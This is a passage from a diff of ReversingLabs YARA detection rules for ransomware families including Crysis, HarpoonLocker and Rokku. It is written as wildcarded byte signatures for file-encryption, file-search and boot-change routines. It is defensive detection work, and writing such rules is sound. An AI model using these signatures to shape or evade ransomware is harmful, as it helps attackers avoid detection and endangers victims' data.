+            ?? ?? 14 0C 02 7B ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C DE ?? 26 DE ?? 08 2C
+            ?? 02 08 7D ?? ?? ?? ?? 02 16 7D ?? ?? ?? ?? 2B ?? 02 7B ?? ?? ?? ?? 02 7B ?? ?? ?? ??
+            9A 0D 02 09 7D ?? ?? ?? ?? 02 17 7D ?? ?? ?? ?? 17 0A DD ?? ?? ?? ?? 02 15 7D ?? ?? ??
+            ?? 02 02 7B ?? ?? ?? ?? 17 58 7D ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 8E 69
+            32 ?? 02 14 7D ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 39 ?? ?? ?? ?? 14 0C 02 7B ?? ?? ?? ?? 28
+            ?? ?? ?? ?? 0C DE ?? 26 DE ?? 08 39 ?? ?? ?? ?? 02 08 7D ?? ?? ?? ?? 02 16 7D ?? ?? ??
+            ?? 38 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 9A 13 ?? 02 11 ?? 02 7B ?? ?? ??
+            ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 1F ?? 7D ?? ?? ??
+            ?? 2B ?? 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 02 11 ?? 7D ?? ?? ?? ?? 02 18 7D ?? ??
+            ?? ?? 17 0A DE ?? 02 1F ?? 7D ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 02 28
+            ?? ?? ?? ?? 02 14 7D ?? ?? ?? ?? 02 02 7B ?? ?? ?? ?? 17 58 7D ?? ?? ?? ?? 02 7B ?? ??
+            ?? ?? 02 7B ?? ?? ?? ?? 8E 69 3F ?? ?? ?? ?? 02 14 7D ?? ?? ?? ?? 16 0A DE ?? 02 28 ??
+            ?? ?? ?? DC 06 2A
         }
-		$decrypt_strings_2 = {
-            55 8B EC 53 56 8B D9 57 8B F2 33 C9 33 FF 2B DE 8B 45 ?? 8D 14 31 8A 04 07 02 C1 32 04 13 88 02 8D 47 ?? 33 D2 F7 75 ??
-            8B FA F6 C1 ?? 75 0B 8B C1 D1 E8 66 83 3C 46 ?? 74 03 41 EB D3 5F D1 E9 5E 8D 41 ?? 5B 5D C3
+		$encrypt_files = {
+            16 0A 73 ?? ?? ?? ?? 0B 07 6F ?? ?? ?? ?? 1E 5B 8D ?? ?? ?? ?? 0C 07 6F ?? ?? ?? ?? 1E
+            5B 8D ?? ?? ?? ?? 0D 73 ?? ?? ?? ?? 13 ?? 11 ?? 08 6F ?? ?? ?? ?? 11 ?? 09 6F ?? ?? ??
+            ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 08 8E 69 09 8E 69 58 8D ?? ?? ?? ?? 13 ??
+            08 11 ?? 08 8E 69 28 ?? ?? ?? ?? 09 16 11 ?? 08 8E 69 09 8E 69 28 ?? ?? ?? ?? 11 ?? 04
+            28 ?? ?? ?? ?? 13 ?? 11 ?? 8E 69 28 ?? ?? ?? ?? 13 ?? 07 08 09 6F ?? ?? ?? ?? 13 ?? 02
+            19 73 ?? ?? ?? ?? 13 ?? 03 18 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 17 73 ?? ?? ?? ?? 13 ??
+            11 ?? 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 11 ?? 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 11
+            ?? 11 ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 11 ??
+            2C ?? 11 ?? 6F ?? ?? ?? ?? DC 11 ?? 2C ?? 11 ?? 6F ?? ?? ?? ?? DC 11 ?? 2C ?? 11 ?? 6F
+            ?? ?? ?? ?? DC 17 0A DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? DC 06 2A
         }
-		$decrypt_1 = {
-            A1 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 8C B7 00 00 00 33 D2 8B 0C 95 ?? ?? ?? ?? 33 0C 95 ?? ?? ?? ?? 81 E1 ?? ?? ?? ?? 33 0C
-            95 ?? ?? ?? ?? 8B C1 D1 E9 83 E0 ?? 33 0C 85 ?? ?? ?? ?? 33 0C 95 ?? ?? ?? ?? 89 0C 95 ?? ?? ?? ?? 42 81 FA ?? ?? ?? ??
-            7C C0 81 FA ?? ?? ?? ?? 7D 39 56 8D 34 95 ?? ?? ?? ?? 8B 0E 33 4E ?? 81 E1 ?? ?? ?? ?? 33 0E 8B C1 D1 E9 83 E0 ?? 8B 04
-            85 ?? ?? ?? ?? 33 86 ?? ?? ?? ?? 33 C1 89 06 83 C6 ?? 81 FE ?? ?? ?? ?? 7C D0 5E 8B 0D ?? ?? ?? ?? 33 0D ?? ?? ?? ?? 81
-            E1 ?? ?? ?? ?? 33 0D ?? ?? ?? ?? 8B C1 D1 E9 83 E0 ?? 33 0C 85 ?? ?? ?? ?? 33 0D ?? ?? ?? ?? 33 C0 89 0D ?? ?? ?? ?? 8B
-            0C 85 ?? ?? ?? ?? 40 A3 ?? ?? ?? ?? 8B C1 C1 E8 ?? 33 C8 8B C1 25 ?? ?? ?? ?? C1 E0 ?? 33 C8 8B C1 25 ?? ?? ?? ?? C1 E0
-            ?? 33 C8 8B C1 C1 E8 ?? 33 C1 C3
+
+	condition:
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ($encrypt_files)
+}
+rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Harpoonlocker : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects HarpoonLocker ransomware."
+		author = "ReversingLabs"
+		id = "3605d354-5a33-54b1-83ad-ad514c78357b"
+		date = "2022-01-27"
+		modified = "2022-01-27"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/ByteCode.MSIL.Ransomware.HarpoonLocker.yara#L1-L96"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "20587f9dce5981934498d9979843a090224ba649def8b694adf7799b7060cc25"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "HarpoonLocker"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$encrypt_files_p1 = {
+            7E ?? ?? ?? ?? 25 2D ?? 26 7E ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 80 ?? ??
+            ?? ?? 28 ?? ?? ?? ?? 26 28 ?? ?? ?? ?? 14 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 6F ?? ?? ??
+            ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 25 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 6F
+            ?? ?? ?? ?? 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 16 0B 2B ?? 73 ?? ?? ?? ?? 25 06 07 9A 7D
+            ?? ?? ?? ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 14 28 ?? ?? ?? ?? 26 07 17 58 0B 07 06 8E
+            69 32 ?? 7E ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C 2B ?? 73 ?? ?? ?? ?? 0D
+            09 12 ?? 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 09 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ??
+            6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 09 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 14 28 ?? ?? ??
+            ?? 26 12 ?? 28 ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? DC 12 ??
+            12 ?? 28 ?? ?? ?? ?? 12 ?? 12 ?? 28 ?? ?? ?? ?? 11 ?? 11 ?? 59 13 ?? 72 ?? ?? ?? ?? 11
+            ?? 8C ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 2C ?? 20 ?? ?? ?? ?? 28 ?? ?? ??
+            ?? 2B ?? 2A
         }
-		$decrypt_2 = {
-            A1 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 8C C7 00 00 00 33 D2 EB 0C 8D A4 24 ?? ?? ?? ?? EB 03 8D 49 ?? 8B 0C 95 ?? ?? ?? ?? 33
-            0C 95 ?? ?? ?? ?? 42 81 E1 ?? ?? ?? ?? 33 0C 95 ?? ?? ?? ?? 8B C1 83 E0 ?? D1 E9 33 0C 85 ?? ?? ?? ?? 33 0C 95 ?? ?? ??
-            ?? 89 0C 95 ?? ?? ?? ?? 81 FA ?? ?? ?? ?? 7C C0 81 FA ?? ?? ?? ?? 7D 3B 56 8D 34 95 ?? ?? ?? ?? 8B 0E 33 4E ?? 83 C6 ??
-            81 E1 ?? ?? ?? ?? 33 4E ?? 8B C1 83 E0 ?? D1 E9 8B 04 85 ?? ?? ?? ?? 33 86 ?? ?? ?? ?? 33 C1 89 46 ?? 81 FE ?? ?? ?? ??
-            7C CE 5E 8B 0D ?? ?? ?? ?? 33 0D ?? ?? ?? ?? 81 E1 ?? ?? ?? ?? 33 0D ?? ?? ?? ?? 8B C1 83 E0 ?? D1 E9 33 0C 85 ?? ?? ??
-            ?? 33 0D ?? ?? ?? ?? 33 C0 89 0D ?? ?? ?? ?? 8B 0C 85 ?? ?? ?? ?? 40 A3 ?? ?? ?? ?? 8B C1 C1 E8 ?? 33 C8 8B C1 25 ?? ??
-            ?? ?? C1 E0 ?? 33 C8 8B C1 25 ?? ?? ?? ?? C1 E0 ?? 33 C8 8B C1 C1 E8 ?? 33 C1 C3
+		$encrypt_files_p2 = {
+            12 ?? FE 15 ?? ?? ?? ?? 12 ?? FE 15 ?? ?? ?? ?? 12 ?? FE 15 ?? ?? ?? ?? 02 16 12 ?? 28
+            ?? ?? ?? ?? 26 08 7B ?? ?? ?? ?? 0D 08 7B ?? ?? ?? ?? 20 ?? ?? ?? ?? 35 ?? 08 7B ?? ??
+            ?? ?? 16 36 ?? DD ?? ?? ?? ?? 02 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 72
+            ?? ?? ?? ?? 28 ?? ?? ?? ?? 10 ?? 03 03 6F ?? ?? ?? ?? 03 6F ?? ?? ?? ?? 6F ?? ?? ?? ??
+            13 ?? 1F ?? 8D ?? ?? ?? ?? 13 ?? 03 6F ?? ?? ?? ?? 16 11 ?? 16 1F ?? 28 ?? ?? ?? ?? 03
+            6F ?? ?? ?? ?? 16 11 ?? 1F ?? 1F ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 1F ?? 6A
+            13 ?? 17 13 ?? 09 6E 13 ?? 2B ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 59 13 ?? 11 ?? 11 ?? 30
+            ?? 02 19 17 7E ?? ?? ?? ?? 19 20 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 11 ??
+            7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? DD ?? ?? ?? ?? 11 ?? 7E ?? ?? ?? ?? 1A 16 09 20 ??
+            ?? ?? ?? 58 14 28 ?? ?? ?? ?? 0A 06 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? DD ?? ?? ?? ??
+            06 1F ?? 16 16 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ??
+            DD ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 26 16 13 ?? 16 13 ?? 2B ?? 11 ?? 20 ?? ?? ?? ?? 2F
+            ?? 09 6E 11 ?? 6A 59 13 ?? 11 ?? D4 8D ?? ?? ?? ?? 13 ?? 11 ?? 17 58 11 ?? 33 ?? 11 ??
+            D4 8D ?? ?? ?? ?? 13 ?? 07 11 ?? 28 ?? ?? ?? ?? 11 ?? 16 11 ?? 8E 69 28 ?? ?? ?? ?? 11
+            ?? 18 5D 2D ?? 11 ?? 8E 69 1F ?? 33 ?? 11 ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 16 07 11
+            ?? 28 ?? ?? ?? ?? 11 ?? 8E 69 28 ?? ?? ?? ?? 11 ?? 11 ?? 8E 69 58 13 ?? 11 ?? 17 58 13
+            ?? 11 ?? 11 ?? 3F ?? ?? ?? ?? 11 ?? 20 ?? ?? ?? ?? 32 ?? 11 ?? 16 07 09 28 ?? ?? ?? ??
+            11 ?? 8E 69 28 ?? ?? ?? ?? 2B ?? 11 ?? 16 07 11 ?? 28 ?? ?? ?? ?? 11 ?? 8E 69 28 ?? ??
+            ?? ?? DE ?? 26 DE ?? 26 DE ?? 00 07 28 ?? ?? ?? ?? 26 DE ?? 26 DE ?? 00 06 28 ?? ?? ??
+            ?? 26 DE ?? 26 DE ?? DC 2A
         }
-		$decrypt_3 = {
-            A1 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 8C C7 00 00 00 33 D2 EB 0C 8D A4 24 ?? ?? ?? ?? EB 03 8D 49 ?? 8B 0C 95 ?? ?? ?? ?? 33
-            0C 95 ?? ?? ?? ?? 42 81 E1 ?? ?? ?? ?? 33 0C 95 ?? ?? ?? ?? 8B C1 83 E0 ?? D1 E9 33 0C 85 ?? ?? ?? ?? 33 0C 95 ?? ?? ??
-            ?? 89 0C 95 ?? ?? ?? ?? 81 FA ?? ?? ?? ?? 7C C0 81 FA ?? ?? ?? ?? 7D 3B 56 8D 34 95 ?? ?? ?? ?? 8B 0E 33 4E ?? 83 C6 ??
-            81 E1 ?? ?? ?? ?? 33 4E ?? 8B C1 83 E0 ?? D1 E9 8B 04 85 ?? ?? ?? ?? 33 86 ?? ?? ?? ?? 33 C1 89 46 ?? 81 FE ?? ?? ?? ??
-            7C CE 5E 8B 0D ?? ?? ?? ?? 33 0D ?? ?? ?? ?? 81 E1 ?? ?? ?? ?? 33 0D ?? ?? ?? ?? 8B C1 83 E0 ?? D1 E9 33 0C 85 ?? ?? ??
-            ?? 33 0D ?? ?? ?? ?? 33 C0 89 0D ?? ?? ?? ?? 8B 0C 85 ?? ?? ?? ?? 40 A3 ?? ?? ?? ?? 8B C1 C1 E8 ?? 33 C8 8B C1 25 ?? ??
-            ?? ?? C1 E0 ?? 33 C8 8B C1 25 ?? ?? ?? ?? C1 E0 ?? 33 C8 8B C1 C1 E8 ?? 33 C1 C3
+		$find_files = {
+            73 ?? ?? ?? ?? 0A 06 02 7D ?? ?? ?? ?? 7E ?? ?? ?? ?? 06 FE 06 ?? ?? ?? ?? 73 ?? ?? ??
+            ?? 28 ?? ?? ?? ?? 2C ?? 2A 00 06 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ??
+            ?? ?? 28 ?? ?? ?? ?? DE ?? 26 DE ?? 14 0B 06 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B DE ?? 26
+            DE ?? 07 2C ?? 07 8E 16 FE 01 2B ?? 17 0C 06 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 16 13
+            ?? 2B ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 11 ?? 9A 7D ?? ?? ?? ?? 08 2C ?? 11 ?? 7B ??
+            ?? ?? ?? 28 ?? ?? ?? ?? 2B ?? 11 ?? FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 14 28 ?? ?? ?? ??
+            26 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 32 ?? DE ?? 26 DE ?? 08 2C ?? DD ?? ?? ?? ?? 28
+            ?? ?? ?? ?? 0D 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 17
+            6F ?? ?? ?? ?? 09 6F ?? ?? ?? ?? 09 6F ?? ?? ?? ?? 07 13 ?? 16 13 ?? 2B ?? 73 ?? ?? ??
+            ?? 13 ?? 11 ?? 11 ?? 11 ?? 9A 7D ?? ?? ?? ?? 11 ?? 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ??
+            7E ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 7E ?? ?? ?? ?? 11 ?? FE 06 ??
+            ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2D ?? 11 ?? 7B ?? ?? ?? ?? 09 28 ?? ?? ?? ?? DE
+            ?? 26 DE ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 32 ?? 00 09 6F ?? ?? ?? ?? DE ?? 26 DE
+            ?? DE ?? 26 DE ?? 2A
         }
-		$entrypoint_all = {
-            83 EC ?? E8 ?? ?? ?? ?? 50 FF 15
+		$change_boot = {
+            02 8E 2C ?? 02 16 9A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 2A 02 16 9A 72
+            ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2A 02 16 9A 72 ?? ?? ??
+            ?? 6F ?? ?? ?? ?? 2C ?? 17 80 ?? ?? ?? ?? 16 80 ?? ?? ?? ?? 02 16 9A 72 ?? ?? ?? ?? 6F
+            ?? ?? ?? ?? 2C ?? 17 80 ?? ?? ?? ?? 02 16 9A 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2C ?? 28 ??
+            ?? ?? ?? 2A 28 ?? ?? ?? ?? 2C ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 72 ?? ??
+            ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ??
+            ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2A 28 ?? ?? ?? ?? 2A
         }
 
 	condition:
-		uint16(0)==0x5A4D and ((($file_loop_1 and $encrypt_data_1 and $decrypt_data_1 and $decrypt_strings_1 and $decrypt_1) or ($file_loop_2 and $encrypt_data_2 and $decrypt_data_2 and $decrypt_strings_2 and $decrypt_2) or ($file_loop_3 and $encrypt_data_3 and $decrypt_data_3 and $decrypt_3)) and ($entrypoint_all at pe.entry_point))
+		uint16(0)==0x5A4D and ($change_boot) and ($find_files) and ( all of ($encrypt_files_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Crysis : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Rokku : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Crysis ransomware."
+		description = "Yara rule that detects Rokku ransomware."
 		author = "ReversingLabs"
-		id = "bba2bbf5-ff77-5ec4-ae7f-afae1b564fb7"
+		id = "8722ed4a-b480-57ec-bba7-ce7d0f3704b9"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Crysis.yara#L1-L108"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "3c9250206f94ac65c1fc24e83cf8cdd76d10066086ef1f34ec14791d237c0263"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Rokku.yara#L1-L147"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "fefb342f8a9afac3b40c343b830f334225ff4198d55504846aa855acf5dfc9ba"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -30716,103 +32199,137 @@ rule REVERSINGLABS_Win32_Ransomware_Crysis : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Crysis"
+		tc_detection_name = "Rokku"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$remote_connection_1 = {
-            55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 6A ??
-            6A ?? FF 15 ?? ?? ?? ?? 89 45 ?? 6A ?? 6A ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? B9
-            ?? ?? ?? ?? 66 89 4D ?? 6A ?? FF 15 ?? ?? ?? ?? 66 89 45 ?? 8B 55 ?? 52 FF 15 ?? ??
-            ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? C7 45 ??
-            ?? ?? ?? ?? EB ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 8B 4D ?? 8B 51 ?? 8B 45 ?? 83 3C 82 ??
-            74 ?? 8B 4D ?? 0F BF 51 ?? 52 8B 45 ?? 8B 48 ?? 8B 55 ?? 8B 04 91 50 8D 4D ?? 51 E8
-            ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A
-            ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 50 8B 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 6A ??
-            6A ?? 8D 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? C7 45
-            ?? ?? ?? ?? ?? EB ?? E9 ?? ?? ?? ?? 8B 45 ?? 8B E5 5D C3
+		$encrypt_files_p1 = {
+            B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 8B E9 C7 44 24 ?? ?? ?? ?? ?? 33 DB 89 6C 24 ??
+            56 0F 57 C0 66 C7 44 24 ?? ?? ?? 57 66 0F 13 44 24 ?? B2 ?? 88 5C 24 ?? 8B CB 8A C1
+            02 C2 30 44 0C ?? 41 83 F9 ?? 73 ?? 8A 54 24 ?? EB ?? 8B CD 88 5C 24 ?? E8 ?? ?? ??
+            ?? 8D 54 24 ?? 8B C8 E8 ?? ?? ?? ?? 85 C0 75 ?? 40 E9 ?? ?? ?? ?? 6A ?? 68 ?? ?? ??
+            ?? FF 15 ?? ?? ?? ?? 51 BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B D6 E8 ?? ?? ?? ?? 59 56 BE
+            ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 8D 4C 24 ?? 6A
+            ?? 8B D5 E8 ?? ?? ?? ?? 59 59 85 C0 0F 84 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 85
+            C0 0F 84 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 8B C1 8B 94 24 ?? ?? ?? ?? 0B C2 0F 84 ??
+            ?? ?? ?? 6A ?? 5D 3B D3 77 ?? 81 F9 ?? ?? ?? ?? 76 ?? 2B CD 1B D3 52 51 55 8D 4C 24
+            ?? E8 ?? ?? ?? ?? 83 C4 ?? 3B C5 0F 85 ?? ?? ?? ?? 8B CD 8B C3 8A 90 ?? ?? ?? ?? 49
+            8A B0 ?? ?? ?? ?? 3A D6 75 ?? 40 85 C9 75 ?? 8B CB EB ?? 0F B6 C6 0F B6 CA 2B C8 85
+            C9 0F 84 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 8D 44 24 ?? 8B D6 50 B9
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 88 19 41 83 E8 ?? 75 ??
+            8B 6C 24 ?? 8B 7C 24 ?? 8B 84 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 2B C7 1B CD 3B EB
         }
-		$enumerate_files = {
-            55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 53 33 DB 81 7D ?? ?? ?? ?? ?? 56 57 89 5C 24 ??
-            0F 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 7D ??
-            57 8B F0 FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 6A ??
-            68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 8E ?? ?? ?? ?? 8D 44 24 ?? 50 56
-            FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 5D ?? 8D 4C 24 ?? 51 68
-            ?? ?? ?? ?? 57 6A ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 7E ?? F6 44 24
-            ?? ?? 74 ?? 66 83 7C 24 ?? ?? 74 ?? 53 8D 54 24 ?? 52 8B D6 8B CF FF 55 ?? 85 C0 7E
-            ?? 8B 45 ?? 8B 4D ?? 40 50 53 51 56 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 53 8D 54 24 ?? 52
-            8B D6 8B CF FF 55 ?? 85 C0 7E ?? FF 44 24 ?? 8B 4C 24 ?? 8D 44 24 ?? 50 51 FF 15 ??
-            ?? ?? ?? 85 C0 7F ?? 8B 54 24 ?? 52 FF 15 ?? ?? ?? ?? 8B 5C 24 ?? 56 6A ?? FF 15 ??
-            ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 5F 5E 8B C3 5B 8B E5 5D C3
+		$encrypt_files_p2 = {
+            7C ?? 7F ?? 81 FF ?? ?? ?? ?? 72 ?? 8B AC 24 ?? ?? ?? ?? 0F 57 C0 8B BC 24 ?? ?? ??
+            ?? 8B 4C 24 ?? 55 57 66 0F 13 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 59 59 8B 4C 24 ??
+            3B CB 77 ?? 3B C3 77 ?? 8B F3 EB ?? 3B CB 77 ?? 72 ?? 3D ?? ?? ?? ?? 72 ?? B8 ?? ??
+            ?? ?? 55 57 50 8D 4C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 85 F6 0F 88 ?? ?? ?? ?? 74
+            ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 56 50 8B D0 E8 ?? ?? ?? ?? 55 57 56 BA ?? ?? ?? ??
+            8D 4C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 88 ?? ?? ?? ?? 99 03 F8 13 EA E9 ?? ??
+            ?? ?? 6A ?? 58 89 1D ?? ?? ?? ?? 83 E8 ?? 75 ?? 8B C7 89 1D ?? ?? ?? ?? 0B C5 BE ??
+            ?? ?? ?? 74 ?? 51 8D 54 24 ?? E8 ?? ?? ?? ?? 59 B9 ?? ?? ?? ?? 3B F1 74 ?? 56 51 BA
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 55 57 BD ?? ?? ?? ?? 8B D1 55 8D 4C 24 ?? E8 ??
+            ?? ?? ?? 83 C4 ?? 85 C0 0F 88 ?? ?? ?? ?? EB ?? BD ?? ?? ?? ?? 6A ?? 59 8B C1 BA ??
+            ?? ?? ?? C6 02 ?? 42 83 E8 ?? 75 ?? B8 ?? ?? ?? ?? C6 00 ?? 40 83 E9 ?? 75 ?? 6A ??
+            58 B9 ?? ?? ?? ?? C6 01 ?? 41 83 E8 ?? 75 ?? C6 06 ?? 46 83 ED ?? 75 ?? 6A ?? 8D 44
+            24 ?? 59 C6 00 ?? 40 83 E9 ?? 75 ?? B1 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ??
+            ?? ?? 8B C3 30 4C 04 ?? 40 83 F8 ?? 73 ?? 8A 4C 24 ?? EB ?? 8B 4C 24 ?? 8D 54 24 ??
+            88 5C 24 ?? E8 ?? ?? ?? ?? 8D 4C 24 ?? 8B F0 E8 ?? ?? ?? ?? 8B 4C 24 ?? 8B D6 E8 ??
+            ?? ?? ?? 56 E8 ?? ?? ?? ?? 59 33 DB 43 8D 4C 24 ?? E8 ?? ?? ?? ?? 8B C3 EB ?? 8D 4C
+            24 ?? E8 ?? ?? ?? ?? 33 C0 5F 5E 5D 5B 81 C4 ?? ?? ?? ?? C3
         }
-		$enumerate_resources = {
-            FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ??
